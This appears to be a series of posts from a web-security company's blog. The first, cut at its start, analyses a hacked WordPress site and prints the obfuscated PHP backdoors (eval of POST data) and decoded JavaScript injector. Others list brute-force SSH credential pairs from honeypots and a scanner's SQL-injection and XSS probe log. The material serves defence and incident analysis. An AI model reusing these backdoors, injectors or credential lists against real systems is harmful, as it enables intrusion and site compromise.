wp-db-backup/wp-db-backup.php:< ? php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc..2NyaXB0PjwhLS0gCPC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#< script(.*?)</ script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#< script language=javascript>< !-- \n\(function\(.+?\n --></ script>#','',$s);if(stristr($s,'< body'))$s=preg_replace('#(\s*< body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,' < /body')||stristr($s,'< /title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>

So, these 3 files wp-db-backup/wp-db-backup.php, image.php and gifimg.php had possibly something hidden. To analyze the code, we did the same thing we did with Javascript. We modified the "eval" function for "echo" to see what it was doing. On the wp-db-backup.php we removed the encoded string and decoded it externally using the base64 command line tool:

$ php multi-level-navigation-plugin1/images/image.php
if(isset($_POST['e']))eval(base64_decode($_POST['e']));echo '32303d2e34332e3230382e3231323a64696865746172693a62746c646f7a6572';
$ php multi-level-navigation-plugin1/images/gifimg.php
if(isset($_POST['e']))eval(base64_decode($_POST['e']));

Analysis for the wp-db-backup.php:

echo 'PHNjcmlwdCB..pOwogLS0+PC9zY3JpcHQ' | base64 -d
< script language=javascript>>!--
(function(){var OgDs='%';var FJQr=('v_61r_20_61r_2eu_j_3b_22)_3b_64_6fc_75ment_2e_77_72ite(_22_3cscr_69pt_20src_3d_2f_2f_6da_72_74_75_22+_22_7a_2ec_6e_2f_76_69d_2f_3fid_3d_22_2bj+_22_3e_3c_5c_2fscript_3e_22)_3b_7d').replace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();

So, all of them had a backdoor to allow the attacker to execute any PHP script (and command) they wanted on the box (see eval(POST)) and the wp-db-backup.php had this script to create the malicious javascript on all the pages.

Lessons learned? First, always monitor your systems. If they had a HIDS installed (like the open source OSSEC) it would had detected the modification on those files. Second, if they had used our Web-based Integrity monitor this problem would be detected way earlier too. Third: Keep your log files stored longer. Our analysis was not as completed, because we couldn't go back in time to see when it happened. Lastly, keep your Wordpress updated and use strong passwords! That's your first line of defense to avoid these problems.

Amazon.com blacklisted by SpamHaus XBL

2010-02-02T06:46:00.005-05:00

Update: Spamhaus contact us to let us know that they removed amazon from the blacklist and are investigating the issue.

SPAMHAUS has various blacklists and one of them is the XBL:

"The Spamhaus Exploits Block List (XBL) is a realtime database of IP addresses of hijacked PCs infected by illegal 3rd party exploits, including open proxies (HTTP, socks, AnalogX, wingate, etc), worms/viruses with built-in spam engines, and other types of trojan-horse exploits."

Well, this morning I got this notification from Sucuri Internet Monitor:

29c29,30
< OK: Host www.amazon.com clean.
---
> WARN: http://www.spamhaus.org/query/bl?ip=72.21.207.65
> WARN: Host www.amazon.com blacklisted.

First I thought that something was wrong, but then I double checked:

$ host www.amazon.com
www.amazon.com has address 72.21.207.65

And if I visit I see that it is still blacklisted: http://www.spamhaus.org/query/bl?ip=72.21.207.65
I assume it is a false positive... Anyone know more information?

Fingerprinting web applications

2010-01-29T09:28:00.002-05:00

This paper describes a technique to remotely detect the version (fingerprint) of a web application. We cover Wordpress, Mediawiki and Joomla in the article, but it can be easily extended to other applications.

At the end, we also give you a live tool to fingerprint any site to see if we can give the right version.

Link:
http://sucuri.net/?page=docs&title=fingerprinting-web-apps

Quick Sucuri Update

2010-01-28T09:01:00.002-05:00

We are very happy to announce that we reached 5 thousand (yes, 5k) sites being monitored by our Network Integrity Monitor solution.

To celebrate, we are releasing an update to our dashboard and a new Premium offering with advanced features.

That's what you get with the Premium: (only $9.99 per month)

Support for password protected pages (using Basic, ntml or custom POST authentication)

Support for private RSS feeds

Granular alerting configuration (per host)

Option to alert only if a malware (or major site error) is detected

Priority support

Hands-on assistance removing malware when needed

Upgrade to Premium by visiting: http://sucuri.net/?page=docs&title=premium

Any questions? Let us know in the comments or via email!

Don't forget to follow us on Twitter: http://twitter.com/sucuri_security .

Thanks again!

New Security Bloggers Network (SBN) member

2010-01-27T11:23:00.003-05:00

We are very happy to be the newest member of the Security Bloggers Network (SBN). Thanks to Alan Shimel for setting this up very quickly and welcoming us.

You can expect lots of updates from our Honeypot analysis, as well as news of what is happening over at http://sucuri.net and the new research we are doing.

If you are interested in what we do, check out our Network Integrity Monitoring solution:

Be notified when the integrity of your Internet presence is changed.

* DNS and Whois Hijacking monitoring
* Web site defacement, malware and blacklist detection
* Receive alerts showing WHAT changed, not only that it happened
* Be the FIRST to know if something is ever altered or unavailable!
* Try now, it is free and easy to get started.

Downforeveryoneorjustme is down

2010-01-26T13:11:00.004-05:00

The service http://www.downforeveryoneorjustme.com/ has been down for at least a few hours already. I got the first notification via sucuri.net a few hours ago saying that the page has been changed:

Content changed:
> Index of /
>
> * cgi-bin/
>
> Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.7a mod_auth_passthrough/2.1
> mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.11 Server at downforeveryoneorjustme.com Port 80

After that, another alert saying that the page was offline and that their name server was not responding:

Site offline: http://www.downforeveryoneorjustme.com
downforeveryoneorjustme.com: no DNS servers could be reached

What I found weird was the page change before the DNS issues... It shows again how useful our Network Integrity Monitor solution can be to look at these issues.

Honeypot analysis - Looking at SSH scans

2010-01-14T11:14:00.008-05:00

An integral part of the Sucuri project is to research and monitor current attacks as a way to improve our defense techniques. To achieve that, we have been running a few Honeypots for almost a year and collecting data from the attacks used and learning from them.

After a year, I think we are ready to start sharing the information we have learned...

The first step was to create a page with information about the systems involved on web attacks. We also have two blacklists updated daily, the first one is composed of the domains that are hosting the malware/php/perl scripts, while the second blacklist is composed of the IP addresses that are actively scanning our honeypots. You can check them out, plus the tools used at Blacklist and Research based on web attacks.

Now, the second step is to write about the attacks we are seeing to help educate others...

Looking at SSH scans

All our honeypots have a modified SSH server running where we collect every connection attempt, user name and password used and everything typed if the attacker gets access via SSH. During the course of 1 year, we recorded more than 1,600 different SSH scans to our systems. The data bellow is only for the last few months and the first number you see is in how many different scans it was logged.

TOP 50 user/password combination

# USER, PASS
16 oracle, oracle
13 root, root
12 root, abc123
12 root, 123456
11 tester, test
10 uploader, uploader
10 test123, spam
10 qwerty, testuser
10 qazwsxedc, tester
10 password, test1
10 password, john
10 password, cstrike
10 123456, testuser
10 123456, test2
10 123456, raqbackup
10 123456, gamer
10 123456, cvsadm
10 123456, calendar
10 123456, bill
9 root, 123qwe
9 mike, mike
9 agata, agata
8 test, test123
8 root, qwerty
8 marketing, marketing
8 johan, johan
8 joan, joan
8 ftp, ftp123
8 ftp, ftp
8 carla, carla
8 bruno, bruno
8 admin, admin
8 123, user
7 test, test
7 tech, tech
7 root, password
7 ronaldo, ronaldo
7 raimundo, raimundo
7 nick, nick
7 max, max
7 library, library
7 jeff, jeff
7 internet, internet
7 hans, hans
7 grace, grace
7 ftp, ftpuser
7 frank, frank
7 francisco, francisco
7 francis, francis

It is interesting to note that in the first column, we have the user name and we see many entries for 123456 with the password of testuser or bill. My guess? Someone messed up the password lists and inverted the order... Anyone have ideas?

Top 50 User names used

# USER
241 root
221 password
100 admin
87 test
87 qwerty
72 www
68 123
67 000000
66 111111
65 1234567
63 asdfgh
59 testing
59 test123
58 abc123
53 pass123
52 qazwsx
50 tester
48 server
47 abcdef
46 testing123
46 testing1
46 qazwsxedc
45 zxcvbnm
45 zxcvbn
45 testtest
40 oracle
39 ftp
33 test1
32 passwd
31 tester123
31 tester1
31 pass
30 pgsql
29 operator
28 dan
27 administrator
26 master
26 bin
25 oper
24 nobody
22 backup
21 postgres
21 mail
21 daemon
21 87654321
21 654321
20 office
19 test2
18 ts
17 mike
17 guest
16 monica

TOP 50 Passwords used

# PASS
1427 root
346 test
305 123456
264 testuser
259 tester
242 test123
241 testing
240 test1
236 test2
230 test4
230 test3
113 12345
106 admin
75 user
69 nobody
69 123
65 1234
63 nick
59 webadmin
50 webmaster
49 oracle
48 web
46 password
43 news
42 info
40 sysadm
37 mysql
36 eqidemo
36 cvsadm
34 spam
31 administrator
30 uploader
28 lp
27 system
27 john
27 jack
27 fred
27 bill
26 visitor
26 daily
26 cstrike
25 techsupport
25 sql
25 smtp
23 qwerty
23 michael
22 weblogic
22 webalizer
22 toor
22 sys

Complex password logged

Most of the scan attempts were using very common passwords, but some of them had really complex passwords that I can only imagine that are used as backdoors or as default passwords for some common systems. Anyone have clues? I "googled" and didn't find anything..

# USER, PASS
5 software, cvsroot
5 soft123, sourceforge
5 rosymdelfin, conautoveracruz
1 root, tiganilaflorinteleorman
1 belltrix, spaf@r?_ene59p9e9rewr*katr
1 tiganilaflorinteleorman, root
1 morrigan, siamouziesw7unla70lafrl3t0l3frle4lu
1 sadmin, &thecentercannothold&
1 saddleman357, safe
1 sachin, f9uthlavIaPhlawroEXi
1 admin, b#5rum$ph!r!Keyufawre?a3r6
1 miquelfi, B|*Nsq|TO$~b
1 root, an0th3rd@y
1 admin, 63375312012a
1 root, zEfrephaq5qAnedufrethekuW
1 root, z1x2c3v4b5n6
1 root, xsw21qaz
1 root, wiu2ludrlamoatiuTriu
1 root, teiubescdartunumaiubestiasacahaidesaterminam
1 root, siamouziesw7UNla70lafrl3t0l3frlE4lU
1 root, rough46road15
1 root, fiatmx1q2w3e
1 root, empire12
1 root, efKO1$4?
1 root, eempire99
1 root, discovery
1 root, dave
1 root, d3lt4f0rc3
1 root, celes3cat
1 root, bleCroujouwLUswOEdrlAfo6w
1 root, bUspamaxegEGuyU52PEt6estU
1 root, asdfghjkl
1 root, apple
1 root, apache
1 root, an0th3rd@y
1 root, admin321321
1 root, admin1
1 root, admin
1 root, abcd1234
1 root, a1s2d3f4g5h6
1 root, WrIaRoeThIespOeh3AwriufLetiu7Tlu11u
1 root, QT3CUCCj
1 root, Pr99*35a!ra-EwruvU3E@rAtUk
1 root, N6a4t4u8OEwiaW8i7HLaqLaki
1 root, Liteon81
1 root, B_$Aj3y3#UCraveVE5e23er@P4
1 root, BP5FbGRr
1 root, 63375312012a
1 root, 1z2x3c4v5b6n
1 root, 1qaz2wsx
1 root, 1q2w3e4r5t6y
1 root, 1q2w3e4r5t
1 root, 1q2w3e4r
1 root, 1a2s3d4f5g6hy
1 root, +#SGU9&rbf-#
1 root, !@#$%^&*(
1 root, !@#$%
1 root, !@#$
1 root, !@#
1 root, +#sgu9&rbf-#
1 root, )(*&^%$#@!
1 root, &thecentercannothold&
1 root, %5%7%4%5%1%4%8%7
1 oracle, $changeme$
1 nobody, $changeme$
1 news, $changeme$
1 $ passwd
1 root, !@#$%^&*()
1 root, !!!
1 qeqawrexudaducu7eyuswacez, root
1 qazwsxeds, root
1 qazwsxedc, root
1 qazwsx, user
1 q16060502141279, q16060502141279
1 pr99*35a!ra-ewruvu3e@ratuk, admin
1 n6a4t4u8oewiaw8i7hlaqlaki, root
1 admin, miemleh9esplawriuthiewias
1 admin, J34a47nu
1 zefrephaq5qanedufrethekuw, sadmin
1 zander, zechsmerquise88
1 root, zaxscd13524
1 zander, zechsmerquise88
1 yxwvutseqponmlkjihgfedcba, root
1 yuneneli, z11060510412854
1 yourdotw, ip46262
1 xgridagent, xgridcontroller
1 xj050i7bfa, root
1 wriaroethiespoeh3awriufletiu7tlu11u, kjetter
1 root, wolfiz0r@
1 admin, wolfiz0r@
1 wmassma, wolf
1 wlp, wmassma
1 wlan, wlp
1 wkoweg, wlan
1 root, wiu2ludrlamoatiutriu
1 ups650cl, lbjlive
1 root, unlocker
1 u33977059, ubuntu
1 u231006, u33977059
1 u208417, u231006
1 u207114, u208417
1 tyson, u207114
1 ska, skandinavia
1 sjfconsulting, ska
1 sjaekel, sjfconsulting

That's it.. If you want me to run more queries or generate more stats, let me know and I will update this post.

A closer look at the iiscan

2010-01-08T14:55:00.005-05:00

The free IIScan was recently announced on the full-disclosure list and I took the time to review it. They announced it as a new generation web app security platform to detect XSS, sql injection, etc. All online and free.

Let's see how it worked... I tried it against the http://sucuri.net site and that's what they did:

IP addresses used
They used two ips: 216.18.22.46 and 58.60.26.171

User agent
That's what their user agent looked like: "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) NOSEC.JSky/1.0"

Actions
They started by trying to check the 404 results and getting a few initial files:

GET / HTTP/1.0 200
GET /never_could_exist_file.nosec HTTP/1.0 404 
GET /never_could_exist_file_nosec.aspx HTTP/1.0 404
GET /robots.txt HTTP/1.1 404

After that, they tried the PUT, TRACE, TRACK and DELETE methods (sometimes more than once for the same file):

TRACE /TRACE_test HTTP/1.1 200
PUT /jsky_web_scanner_test_file.txt HTTP/1.1 405
PUT /jsky_test.txt HTTP/1.1 405
DELETE /Jsky_test_no_exists_file.txt HTTP/1.1 405
TRACE /TRACE_test HTTP/1.1 200
TRACK /TRACK_test HTTP/1.1 501

After that they tried a few more simple attacks:

GET /%3Cscript%3Ealert(42873) HTTP/1.1 404
GET /%3Cscript%3Ealert(42873).do HTTP/1.1 404
GET /%3Cscript%3Ealert(42873) HTTP/1.1 404
GET /%3Cscript%3Ealert(42873).do HTTP/1.1 404

Then looked for common mistakes, like zipped php files, logs expose, etc. Plus it checked for common application directories (wp-content, etc):


GET /_vti_bin/_vti_adm/admin.dll HTTP/1.1 404
GET / HTTP/1.0 200
GET /_vti_bin/_vti_aut/author.dll HTTP/1.1 404
GET /sitemap.gz HTTP/1.1 404
GET /_vti_bin/shtml.exe?_vti_rpc HTTP/1.1 404
GET /INSTALL.mysql.txt HTTP/1.1 404
GET / HTTP/1.0 200
GET /server-info HTTP/1.1 404
GET /install.php HTTP/1.1 404
GET /FCKeditor/editor/filemanager/upload/test.html HTTP/1.1 404
GET / HTTP/1.0 200
GET /robots.txt HTTP/1.1 404
GET /never_could_exist_file.nosec HTTP/1.0 404
GET /uploads/ HTTP/1.1 404
GET /never_could_exist_file_nosec.aspx HTTP/1.0 404
GET / HTTP/1.1 200
GET /wp-content/ HTTP/1.1 404
GET /index.php.bak HTTP/1.0 404
GET /logfiles/ HTTP/1.1 404
GET / HTTP/1.1 200
GET /index.php.BAK HTTP/1.0 404
PUT /jsky_test.txt HTTP/1.1 405
GET /index.php.zip HTTP/1.0 404
GET /jsp-examples/ HTTP/1.1 404
GET /index.php.bak HTTP/1.0 404
GET /sitemap.gz HTTP/1.1 404
GET /index.php.BAK HTTP/1.0 404
GET /INSTALL.mysql.txt HTTP/1.1 404
GET /install.php HTTP/1.1 404
GET /index.php.zip HTTP/1.0 404
GET /_vti_bin/_vti_adm/admin.dll HTTP/1.1 404
GET /rss.xml HTTP/1.1 302
GET /index.php.ZIP HTTP/1.0 404
GET /FCKeditor/editor/filemanager/upload/test.html HTTP/1.1 404
GET /_vti_bin/_vti_aut/author.dll HTTP/1.1 404
GET /_vti_bin/shtml.exe?_vti_rpc HTTP/1.1 404
GET /index.php.tar.gz HTTP/1.0 404
GET /uploads/ HTTP/1.1 404
GET /index.php.temp HTTP/1.0 404
GET /server-info HTTP/1.1 404
GET /wp-content/ HTTP/1.1 404
GET /logfiles/ HTTP/1.1 404
GET /index.php.save HTTP/1.0 404
GET /main.css HTTP/1.1 200
GET /index.php.backup HTTP/1.0 404
GET /jsp-examples/ HTTP/1.1 404
GET /index.php.orig HTTP/1.0 404
GET /log/ HTTP/1.1 404
GET /index.php~ HTTP/1.0 404
GET /data/ HTTP/1.1 404
GET /logs/ HTTP/1.1 404
GET /index.php~1 HTTP/1.0 404
GET /index.php.cs HTTP/1.0 404
GET /datas/ HTTP/1.1 404
GET /?page=home HTTP/1.1 200
GET /index.php.java HTTP/1.0 404
GET /example/ HTTP/1.1 404
GET /index.php.class HTTP/1.0 404
GET /examples/ HTTP/1.1 404
GET /index.php.rar HTTP/1.0 404
GET /upload/ HTTP/1.1 404
GET /WebService/ HTTP/1.1 404
GET /index.php.tmp HTTP/1.0 404
GET /inc/ HTTP/1.1 404
GET /include/ HTTP/1.1 404
GET /old/ HTTP/1.1 404
GET /manage/ HTTP/1.1 404
GET /db/ HTTP/1.1 404
GET /aspnet/ HTTP/1.1 404
GET /htdocs/ HTTP/1.1 404
GET /conf/ HTTP/1.1 404
GET /config/ HTTP/1.1 404
GET /private/ HTTP/1.1 404
GET /admin/ HTTP/1.1 404
GET /administrator/ HTTP/1.1 404
GET /webadmin/ HTTP/1.1 404
GET /database/ HTTP/1.1 404
GET /samples/ HTTP/1.1 404
GET /member/ HTTP/1.1 404
GET /members/ HTTP/1.1 404
GET /pass.txt HTTP/1.1 404
GET /passwd HTTP/1.1 404
GET /users.txt HTTP/1.1 404
GET /users.ini HTTP/1.1 404
GET /install.log HTTP/1.1 403
GET /database.inc HTTP/1.1 404
GET /.bash_history HTTP/1.1 404
GET /.bashrc HTTP/1.1 404
GET /Web.config HTTP/1.1 404
GET /Global.asax HTTP/1.1 404
GET /Global.asa HTTP/1.1 404
GET /Global.asax.cs HTTP/1.1 404
GET /test.asp HTTP/1.1 404
GET /test.php HTTP/1.1 404
GET /test.jsp HTTP/1.1 404
GET /test.aspx HTTP/1.1 404
GET /admin.asp HTTP/1.1 404
GET /data.mdb HTTP/1.1 404

After that, they detected my page structure and tried a few SQL injections, XSS and other attacks on them:

GET /index.php?page=scan&page=scan?scan=88888 HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888%20and%205=5 HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888%20and%205=6 HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888'%20and%20'5'='5 HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888'%20and%20'5'='6 HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888%25'%20and%205=6%20and%20'%25'=' HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888' HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888%20and%205=5 HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888'%20and%20'5'='5 HTTP/1.0 200
GET /index.php?page=scan&page=scan?scan=88888%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 200
GET /index.html?page=home%3Cscript%3Ealert(42873)%3C/script%3E HTTP/1.1 404
GET /index.html?page=homealert(42873) HTTP/1.1 404
GET /index.html?page=home%2527 HTTP/1.0 404
GET /?page=docs&title=daily HTTP/1.1 200
GET /index.html?page=home' HTTP/1.0 404
GET /index.html?page=home%5C' HTTP/1.0 404
GET /index.html?page=home%5C%22 HTTP/1.0 404
GET /index.html?page=homeJyI%3D HTTP/1.0 404
GET /index.html?page=home'%22 HTTP/1.0 404
GET /index.html?page=home%bf%27 HTTP/1.0 404
GET /?page=practical&pid=13 HTTP/1.1 200
GET /index.html?page=home HTTP/1.0 404
GET /index.html?page=home'%22 HTTP/1.0 404
GET /index.html?page=home/ HTTP/1.0 404
GET /index.html?page=home HTTP/1.0 404
GET /index.html?page=home%20and%205=5 HTTP/1.0 404
GET /index.html?page=home%20and%205=6 HTTP/1.0 404
GET /index.html?page=home'%20and%20'5'='5 HTTP/1.0 404
GET /index.html?page=home'%20and%20'5'='6 HTTP/1.0 404
GET /index.html?page=home%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404
GET /index.html?page=home%25'%20and%205=6%20and%20'%25'=' HTTP/1.0 404
GET /index.html?page=home' HTTP/1.0 404
GET /index.html?page=home%20and%205=5 HTTP/1.0 404
GET /index.html?page=home'%20and%20'5'='5 HTTP/1.0 404
GET /index.html?page=home%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404

They also found another page inside (the daily tips) and tried more attacks:

GET /index.html?page=docs&title=daily' HTTP/1.0 404
GET /index.html?page=docs&title=daily%2527 HTTP/1.0 404
GET /index.html?page=docs&title=daily' HTTP/1.0 404
GET /index.html?page=docs&title=daily%5C' HTTP/1.0 404
GET /index.html?page=docs&title=daily%5C%22 HTTP/1.0 404
GET /index.html?page=docs&title=dailyJyI%3D HTTP/1.0 404
GET /index.html?page=docs&title=daily'%22 HTTP/1.0 404
GET /index.html?page=docs&title=daily%bf%27 HTTP/1.0 404
GET /index.html?page=docs&title=daily HTTP/1.0 404
GET /index.html?page=docs&title=daily'%22 HTTP/1.0 404
GET /index.html?page=docs&title=daily/ HTTP/1.0 404
GET /index.html?page=docs&title=daily HTTP/1.0 404
GET /index.html?page=docs&title=daily%20and%205=5 HTTP/1.0 404
GET /index.html?page=docs&title=daily%20and%205=6 HTTP/1.0 404
GET /index.html?page=docs&title=daily'%20and%20'5'='5 HTTP/1.0 404
GET /index.html?page=docs&title=daily'%20and%20'5'='6 HTTP/1.0 404
GET /index.html?page=docs&title=daily%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404
GET /index.html?page=docs&title=daily%25'%20and%205=6%20and%20'%25'=' HTTP/1.0 404
GET /index.html?page=docs&title=daily' HTTP/1.0 404
GET /index.html?page=docs&title=daily%20and%205=5 HTTP/1.0 404
GET /index.html?page=docs&title=daily'%20and%20'5'='5 HTTP/1.0 404
GET /index.html?page=docs&title=daily%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404
GET /index.html?page=practical&pid=13%3Cscript%3Ealert(42873)%3C/script%3E HTTP/1.1 404
GET /index.html?page=practical&pid=13alert(42873) HTTP/1.1 404
GET /index.html?page=practical&pid=13' HTTP/1.0 404
GET /index.html?page=practical&pid=13%2527 HTTP/1.0 404
GET /index.html?page=practical&pid=13' HTTP/1.0 404
GET /index.html?page=practical&pid=13%5C' HTTP/1.0 404
GET /index.html?page=practical&pid=13%5C%22 HTTP/1.0 404
GET /index.html?page=practical&pid=13JyI%3D HTTP/1.0 404
GET /index.html?page=practical&pid=13'%22 HTTP/1.0 404
GET /index.html?page=practical&pid=13%bf%27 HTTP/1.0 404
GET /index.html?page=practical&pid=13 HTTP/1.0 404
GET /index.html?page=practical&pid=13'%22 HTTP/1.0 404
GET /index.html?page=practical&pid=13/ HTTP/1.0 404
GET /index.html?page=practical&pid=13 HTTP/1.0 404
GET /index.html?page=practical&pid=13%20and%205=5 HTTP/1.0 404
GET /index.html?page=practical&pid=13%20and%205=6 HTTP/1.0 404
GET /index.html?page=practical&pid=13'%20and%20'5'='5 HTTP/1.0 404
GET /index.html?page=practical&pid=13'%20and%20'5'='6 HTTP/1.0 404
GET /index.html?page=practical&pid=13%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404
GET /index.html?page=practical&pid=13%25'%20and%205=6%20and%20'%25'=' HTTP/1.0 404
GET /index.html?page=practical&pid=13' HTTP/1.0 404
GET /index.html?page=practical&pid=13%20and%205=5 HTTP/1.0 404
GET /index.html?page=practical&pid=13'%20and%20'5'='5 HTTP/1.0 404
GET /index.html?page=practical&pid=13%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404

And that was the whole scan. The only issue they found was that we allowed the TRACE method, but I think they did a good job looking for different types of vulnerabilities.

VMware insecure file creation

2010-01-06T09:48:00.002-05:00

If you are using the free VMware server on Linux, beware that the installer is creating files with insecure permissions, allowing any user to modify them.

I downloaded the latest VMware server (VMware-server-2.0.2-203138.i386) and followed the step-by-step installation script. After it was completed, OSSEC (always to the rescue) sent me a bunch of alerts about new insecure files:

File '/usr/lib/vmware/hostd/docroot/print.css' is owned by root and has written permissions to anyone.
File '/usr/lib/vmware/hostd/docroot/client/clients.xml' is owned by root and has written permissions to anyone.
File '/usr/lib/vmware/hostd/docroot/sdk/vim.wsdl' is owned by root and has written permissions to anyone.
File '/usr/lib/vmware/hostd/docroot/sdk/vimService.wsdl' is owned by root and has written permissions to anyone.
File '/usr/lib/vmware/hostd/docroot/sdk/vimServiceVersions.xml' is owned by root and has written permissions to anyone.
File '/usr/lib/vmware/hostd/docroot/error-32x32.png' is owned by root and has written permissions to anyone.

And these are just some of them. Everything under /usr/lib/vmware was created with 777 permissions (open for anyone to read and modify), including the vmware-server-distrib and other directories.

So, if you run vmware on a system that someone else have normal user access, you might want to "chmod -R o-rwx" to avoid problems.

*just verified on another system, with the same effect. Tried on Ubuntu 9.04 and CentOS 5.3
*My umask is set properly as 0022.

Twitter defacement

2009-12-18T10:55:00.003-05:00

It is all over the news today that Twitter was defaced yesterday. Lots of speculation regarding what happened, but that's the alert I received yesterday from Sucuri Network Monitor:

Sucuri nbim: twitter.com DNS modified

Modifications:
3a4
< twitter.com has address 128.121.146.100
< twitter.com has address 168.143.162.52
> twitter.com has address 66.147.242.88
---
This alert was generated by the Sucuri Network Integrity Monitor. Log in to your dashboard at http://sucuri.net.

So we can see that it was indeed a DNS redirection attack and that probably their servers weren't attacked directly.

If you are curious were they are hosting their DNS, here it is:

Domain Name: TWITTER.COM
Registrar: NETWORK SOLUTIONS, LLC.
Whois Server: whois.networksolutions.com
Referral URL: http://www.networksolutions.com
Name Server: NS1.P26.DYNECT.NET
Name Server: NS2.P26.DYNECT.NET
Name Server: NS3.P26.DYNECT.NET
Name Server: NS4.P26.DYNECT.NET
Status: clientTransferProhibited
Updated Date: 27-may-2009
Creation Date: 21-jan-2000
Expiration Date: 21-jan-2018

If you tried to access their services last night, we recommend changing your password ASAP. If you want to monitor your own domain names for this kind of issue (for free), visit http://sucuri.net

Searching vulnerable sites with Google

2009-12-08T14:14:00.004-05:00

At http://sucuri.net/ we have a free online tool that allows you to scan any domain name for security issues. It is very simple and report web server versions, possible domain names being leaked, vulnerable web apps running, etc.

Lately, I noticed that "Google Bots" has been using our site and scanning thousand of hosts per day. You know what that means? Well, now you can google for vulnerable sites and it will show the results from our scanning tool. Just choose a vulnerable application (or version you are looking for) and restrict to site:http://sucuri.net.

For example:

Search Looking for all Nginx web servers

Search Looking for all Nginx web servers running version 0.4

Search for all sites powered by PHP

Search for sites leaking the Wordpress internal path

Sites with their public DNS pointing to private IP addresses

Note that Google just started scanning us that way (a few days ago), so the number of reported sites is likely to increase a lot in the next weeks...

On a side note, there is a project called SHODAN that also allows you to search for web server versions and open ports. Their database is way larger than ours and based on the IP addresses (while our is per domain).

Process monitoring with OSSEC

2009-12-08T09:24:00.005-05:00

OSSEC v2.3 was just released and one feature that really interested me was the Process monitoring. That's what the OSSEC team says about it:

"We love logs. Inside OSSEC we treat everything as if it was a log and parse it appropriately with our rules. However, some information is not available in log files but we still want to monitor them. To solve that gap, we added the ability to monitor the output of commands via OSSEC and treat those just like they were log files."

Basically, it allows you to monitor the output of any command and generate alerts/active responses from them.

Cool, let's try it out. First, let's monitor the output of "httpd status" to receive alerts if Apache ever goes down. I added the following command to my ossec.conf and the following rule to my local_rules:

<localfile>
<log_format>command</log_format>
<command>/etc/init.d/httpd status</command>
</localfile>

<rule id=”100200″ level=”10″ ignore=”1200″>
<if_sid>530</if_sid>
<match>ossec: output: '/etc/init.d/httpd status': </match>
<regex>is stopped</regex>
<description>Apache STOPPED.</description>
</rule>

Now, if I manually stop Apache to try it out, I get in a few seconds via email:

2009 Dec 08 10:45:04 (sucuri) xx->/etc/init.d/httpd status
Rule: 100200 (level 10) -> 'Apache STOPPED.'
Src IP: (none)
User: (none)
ossec: output: '/etc/init.d/httpd status': httpd is stopped

Perfect! Now I can have all my monitoring in just one tool... Next step is to create an active response to restart the service on failure.